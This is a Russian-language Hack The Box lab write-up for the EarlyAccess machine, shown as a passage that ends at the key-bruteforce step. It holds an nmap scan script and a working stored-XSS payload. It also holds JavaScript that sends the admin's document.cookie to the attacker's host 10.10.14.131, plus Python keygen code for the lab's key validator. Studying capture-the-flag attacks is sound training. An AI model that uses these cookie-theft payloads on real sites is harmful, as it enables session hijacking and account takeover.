HTB EarlyAccess. Эксплуатируем веб-уязвимости и мисконфиги Docker

Содержание статьи

  • Разведка. Сканирование портов
  • Эксплуатация earlyaccess.htb
  • Stored XSS
  • KeyGen
  • Брутфорс ключей
  • Эксплуатация GAME
  • SQL injection
  • Эксплуатация DEV
  • Сканирование контента
  • LFI
  • Получение доступа
  • Продвижение
  • Локальное повышение привилегий

В этой статье я покажу про­цесс экс­плу­ата­ции нес­коль­ких веб‑сер­висов через раз­ные уяз­вимос­ти и тех­ники, начиная с XSS и SQL-инъ­екций и закан­чивая LFI и инъ­екци­ей команд ОС. А потом мы выберем­ся из Docker на основную сис­тему и зай­дем в дру­гой Docker, что­бы эту сис­тему порутить. Ску­чать не при­дет­ся!

На­шей целью будет машина EarlyAccess с пло­щад­ки Hack The Box. Уро­вень слож­ности — Hard, но ког­да нас это оста­нав­ливало?

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка. Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.110 earlyaccess.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:

  • порт 22 — служ­ба OpenSSH 7.9p1;
  • пор­ты 80, 443 — веб‑сер­вер Apache 2.4.38.

Так как на хос­те работа­ет веб‑сер­вер с дос­тупом по SSH, мы можем извлечь из сер­тифика­та домен­ное имя сай­та, для которо­го он дей­стви­телен. В резуль­татах ска­ниро­вания Nmap при­вел поле commonName, одна­ко это наз­вание мы уже записа­ли в /etc/hosts. Зай­дем на сайт и пос­мотрим, что он может нам дать.

Глав­ная стра­ница сай­та

Тут есть воз­можность регис­тра­ции и авто­риза­ции. Сде­лаем и то и дру­гое, что­бы получить дос­туп к боль­шему чис­лу фун­кций и раз­ных мест для тес­тирова­ния.

Глав­ная панель авто­ризо­ван­ного поль­зовате­ля

Нам откры­вает­ся связь с адми­нис­тра­тором, форум, хра­нили­ще и про­вер­ка какого‑то клю­ча.

 

Эксплуатация earlyaccess.htb

 

Stored XSS

Я сра­зу решил про­тес­тировать фор­му свя­зи с адми­ном и про­верить, нет ли уяз­вимос­тей XSS.

Тес­товое сооб­щение

От­пра­вив тес­товое сооб­щение, можем опре­делить две позиции для наг­рузки: имя поль­зовате­ля и тело сооб­щения. Прой­дем в про­филь поль­зовате­ля и пос­тавим базовую наг­рузку <script>alert(1);script> в име­ни поль­зовате­ля.

Ре­дак­тирова­ние про­филя

Пос­ле перехо­да к сооб­щени­ям видим отметку о про­читан­ном сооб­щении.

Со­обще­ния поль­зовате­ля

А открыв сам текст, получим отра­бот­ку нашего кода.

Со­обще­ние alert(1)

Так как при­сутс­тву­ет stored XSS, мы можем украсть куки адми­нис­тра­тора. Это поз­волит открыть еще боль­ше воз­можнос­тей!

Не­дав­но я поз­накомил­ся с отличным инс­тру­мен­том pyXSSPlatform, который может облегчить задачу в таких слу­чаях. Пос­ле заг­рузки нуж­но сге­нери­ровать сер­тификат для нашего веб‑сер­вера.

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

Ге­нери­руем сер­тификат

За­тем из катало­га с шаб­лонами ско­пиру­ем код для кра­жи куки в файл index.js. Толь­ко вста­вим в код свой адрес.

var serverUrl = "https://10.10.14.131/cookie";//change thisvar newimg = new Image();newimg.src=serverUrl+"?cookie="+escape(document.cookie);

А затем запус­тим веб‑сер­вер.

python3 pyXSSPlatform.py 10.10.14.131 443 https_svr_key.pem

За­пуск плат­формы для экс­плу­ата­ции XSS

В качес­тве име­ни поль­зовате­ля исполь­зуем наг­рузку, которую пре­дос­тавля­ет pyXSSPlatform.

<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="https://10.10.14.131/index.js"></img>

Сно­ва отпра­вим сооб­щение и, пос­ле того как адми­нис­тра­тор его про­чита­ет, в логах веб‑сер­вера обна­ружим зап­рос основной наг­рузки, а потом и зап­рос с пре­дос­тавлен­ными в качес­тве парамет­ра куками.

Ло­ги pyXSSPlatform

Ис­поль­зуем рас­ширение для бра­узе­ра вро­де Cookie Editor, заменя­ем наши cookie толь­ко что получен­ными и обновля­ем стра­ницу. Теперь у нас есть панель адми­нис­тра­тора.

Па­нель адми­на 

KeyGen

При­виле­гии адми­нис­тра­тора откры­вают нам дос­туп к исходно­му коду валида­тора уже зна­комо­го клю­ча, а так­же к двум новым сай­там — Dev и Game, запись для которых добав­ляем в /etc/hosts.

10.10.11.110 earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.htb

Па­нель валида­тора

Фор­ма авто­риза­ции Game

Фор­ма авто­риза­ции Dev

Так мы можем авто­ризо­вать­ся от име­ни поль­зовате­ля, если будет зарегис­три­рован ключ. Поп­робу­ем про­ана­лизи­ровать алго­ритм валида­ции и написать кей­ген.

Пер­вым делом в прог­рамме про­веря­ется фор­мат клю­ча.

Фун­кция main

Фун­кция valid_format

Ключ делит­ся на пять бло­ков:

  • пять сим­волов из алфа­вита A–Z и 0–9;
  • пять сим­волов из алфа­вита A–Z и 0–9;
  • че­тыре пер­вых сим­вола из алфа­вита A–Z и один сим­вол из 0–9;
  • пять сим­волов из алфа­вита A–Z и 0–9;
  • чис­ло от 0 до 99999.

Из фун­кции check узна­ем, что бло­ки про­веря­ются отдель­но друг от дру­га.

Фун­кция check

До­пишем вывод пос­ле каж­дой про­вер­ки, что­бы опре­делять, пра­виль­ный ли блок мы подоб­рали.

Из­менен­ная фун­кция check

А теперь прис­тупим к ана­лизу фун­кций, которые про­водят про­вер­ку. Так, в фун­кции g1_valid чет­вертый и пятый сим­волы дол­жны быть циф­рами (стро­ки 39–43).

Фун­кция g1_valid

Что­бы не раз­бирать алго­рит­мы про­верок, я решил сос­тавлять сло­вари, перепи­сывать эти фун­кции и бру­тить! Сло­вари сос­тавля­ем с помощью прог­раммы crunch. Пер­вый сло­варь у меня будет сос­тоять из трех букв и двух цифр, для это­го исполь­зуем мас­ку ,,,%%.

crunch 5 5 -t ,,,%% > g1_list.txt

Де­лаем кей­ген для этой фун­кции на Python:

def g1_valid(g1): r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1)g1_list = open("g1_list.txt").read().split("n")for s in g1_list: if g1_valid(s) == True: print(s) break

За­пус­каем и получа­ем пер­вую часть клю­ча.

Ге­нера­ция и про­вер­ка пер­вой час­ти клю­ча

Пе­рей­дем ко вто­рой час­ти, которая исполь­зует все бук­вы и циф­ры. Соз­дадим сло­варь, а потом допишем фун­кцию про­вер­ки:

crunch 5 5 1234567890QWERTYUIOPASDFGHJKLZXCVBNM > g2_list.txt

Фун­кция g2_validdef g2_valid(g2): p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))

Ге­нера­ция и про­вер­ка вто­рой час­ти клю­ча

Для генера­ции треть­ей час­ти нам понадо­бит­ся два допол­нитель­ных magic-зна­чения.

Фун­кция g3_valid

Magic-зна­чения

При этом зна­чение magic_num меня­ется раз в 30 минут, а пер­вые два сим­вола дол­жны быть рав­ны ста­тичес­кому зна­чению magic_value — XP. Генери­руем сло­варь для строк из трех сим­волов: пер­вые две бук­вы, пос­ледняя циф­ра.

crunch 3 3 -t ,,% > g3_list.txt

И с помощью сле­дующе­го кода получа­ем третью часть клю­ча.

def g3_valid(magic_num, g3): return sum(bytearray(("XP" + g3).encode())) == magic_numg1_list = open("g3_list.txt").read().split("n")for s in g1_list: if g3_valid(346, s) == True: print("XP"+s) break

Ге­нера­ция и про­вер­ка треть­ей час­ти клю­ча

Для чет­вертой час­ти исполь­зуем сло­варь, который был сге­нери­рован для вто­рой, а так­же пер­вую часть клю­ча.

Фун­кция g4_validdef g4_valid(g4): g1 = 'KEY01' return [ord(i)^ord(g) for g, i in zip(g1, g4)] == [12, 4, 20, 117, 0]

Ге­нера­ция и про­вер­ка чет­вертой час­ти клю­ча

Ос­талась пятая часть — кон­троль­ная сум­ма.

Фун­кция cs_valid

Фун­кция calc_cs

Для перебо­ра я решил исполь­зовать четырех­символь­ные чис­ла, как ука­зано в при­мере.

crunch 4 4 -t %%%% >> g5_list.txt
def cs_valid(g5): return sum([sum(bytearray(g.encode())) for g in ['KEY01', '1Q1WF', 'XPAA0', 'GAME1']]) == int(g5)

Ге­нера­ция пятой час­ти и про­вер­ка клю­ча

Так мы сде­лали скрипт, получи­ли ключ, вот толь­ко сер­вис его не при­нял. Видимо, изме­нилось зна­чение magic_num. А это зна­чит, что нуж­но сос­тавить спи­сок воз­можных клю­чей и попытать­ся проб­рутить.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *